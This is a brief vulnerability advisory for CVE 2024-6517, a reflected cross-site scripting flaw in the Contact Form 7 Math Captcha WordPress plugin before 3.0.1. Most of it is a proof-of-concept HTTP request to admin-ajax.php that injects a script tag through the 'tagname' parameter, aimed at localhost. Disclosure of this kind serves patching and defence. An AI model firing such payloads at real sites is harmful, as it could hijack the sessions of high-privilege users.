Contact Form 7 Math Captcha < 3.0.1 – Reflected XSS | CVE 2024-6517

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/2024/06/11/hello-world/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

action=dscf7_refreshcaptcha&tagname="<script>alert(1)</script>